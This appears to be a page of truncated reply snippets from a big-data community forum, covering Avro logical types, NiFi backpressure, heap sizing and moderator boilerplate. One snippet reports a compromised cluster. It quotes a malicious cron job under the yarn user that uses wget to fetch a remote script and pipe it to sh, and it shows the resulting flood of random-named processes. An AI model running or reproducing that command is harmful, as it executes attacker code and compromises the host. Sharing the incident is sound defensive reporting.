While converting from json to avro format,how to get logicaltype in avro format. And to get logicaltype in avro format,what we need to add in json data . ... View more

@arkumari As this is an older post, you would have a better chance of receiving a resolution by starting a new thread. This will also be an opportunity to provide details specific to your environment that could aid others in assisting you with a more accurate answer to your question. You can link this thread as a reference in your new post. ... View more

Marfill, If backpressure is applied when the total number of flowfiles in a given queue has reached (#nodes * the limit per node) for example if you have a cluster of 3 nodes and the threshold is set to 10,000 then the backpressure will be applied when total # of flow files = 30,000 and so on. Regarding the Control Rate I believe its done per node statistics, for example if you have a control rate that allows 1 flow file per hour and the control rate processor is set part of load balancing on 3 nodes cluster, let say you receive total of 3 files for the first time  one on each node then the 3 will be get processed immediately. ... View more

@TimothySpann Could you explain how you were able to convert the webhook text to ${twitter.msg} and have it work? I am trying to do a similar flow for AlphaVantage and I am having trouble with sending this step to slack. Thank you ... View more

Thanks a lot for the article! I had an error in the Maven structure and I could not figure out where exactly. The article helped me. ... View more

Thinks for all your suggestion.  By increasing HEAP size issue resloved. Thanks, Suryakant ... View more

Hi @VidyaSargur    I do not see an option for 'Accept as Solution' below the post, I assume because I didn't ask the original question.   Regards    ... View more

In my case, the below cron entry was found   $ sudo -u yarn crontab -l */10 * * * * wget http://vbyphnnymdjnsiau.3utilities.com/Bj2yso0 -O-|sh   It resulted in so many spurious processes initiated by yarn - and shooting up the CPU. Nothing could be done. In some cases the number of entries were as high as 20k.   $ ps -ef | grep yarn yarn 30321 30318 0 11:44 ? 00:00:00 NHNe5C5iHr yarn 30323 29152 0 11:44 ? 00:00:00 NHNe5C5iHr yarn 30330 29075 0 11:44 ? 00:00:00 rxNqqqOesC1HqN yarn 30427 30319 0 11:44 ? 00:00:00 NHNe5C5iHr yarn 30773 1 0 10:34 ? 00:00:00 fexsOEvOv yarn 31186 1 0 10:34 ? 00:00:00 GqOeeG5eCC1rO yarn 31189 1 0 10:34 ? 00:00:00 ff1NrseqqffTHrve yarn 31727 1 0 09:20 ? 00:00:00 ivxvj1Ei1 yarn 31731 31727 0 09:20 ? 00:00:04 ivxvj1Ei1 yarn 31770 1 0 09:20 ? 00:00:00 GjN1GxCsqE51fs yarn 31771 31770 0 09:20 ? 00:00:21 GjN1GxCsqE51fs yarn 31774 31770 0 09:20 ? 00:00:05 GjN1GxCsqE51fs yarn 31790 1 0 09:20 ? 00:00:00 EvGeHe5OxfC yarn 31791 31790 0 09:20 ? 00:00:23 EvGeHe5OxfC yarn 31793 31790 0 09:20 ? 00:00:02 EvGeHe5OxfC yarn 31803 1 0 09:20 ? 00:00:00 qCevqvvGff1 yarn 31804 31803 0 09:20 ? 00:00:18 qCevqvvGff1 yarn 31806 31803 0 09:20 ? 00:00:04 qCevqvvGff1 yarn 32243 1 0 10:35 ? 00:00:00 TNsNf5fqTEv5esOxx yarn 32254 1 0 10:35 ? 00:00:00 qCevqvvGff1 yarn 32255 1 0 10:35 ? 00:00:00 seffjsOExr   Thanks for discussing and bringing up this issue. ... View more

@HaiderNaveed As this is an older post, you would have a better chance of receiving a resolution by starting a new thread. This will also be an opportunity to provide details specific to your environment that could aid others in assisting you with a more accurate answer to your question. You can link this thread as a reference in your new post. Thanks! ... View more

@Meghna_3 as this is an older article, you would have a better chance of receiving a resolution by starting a new thread. This will also be an opportunity to provide details specific to your environment that could aid others in assisting you with a more accurate answer to your question. You can link this thread as a reference in your new post. ... View more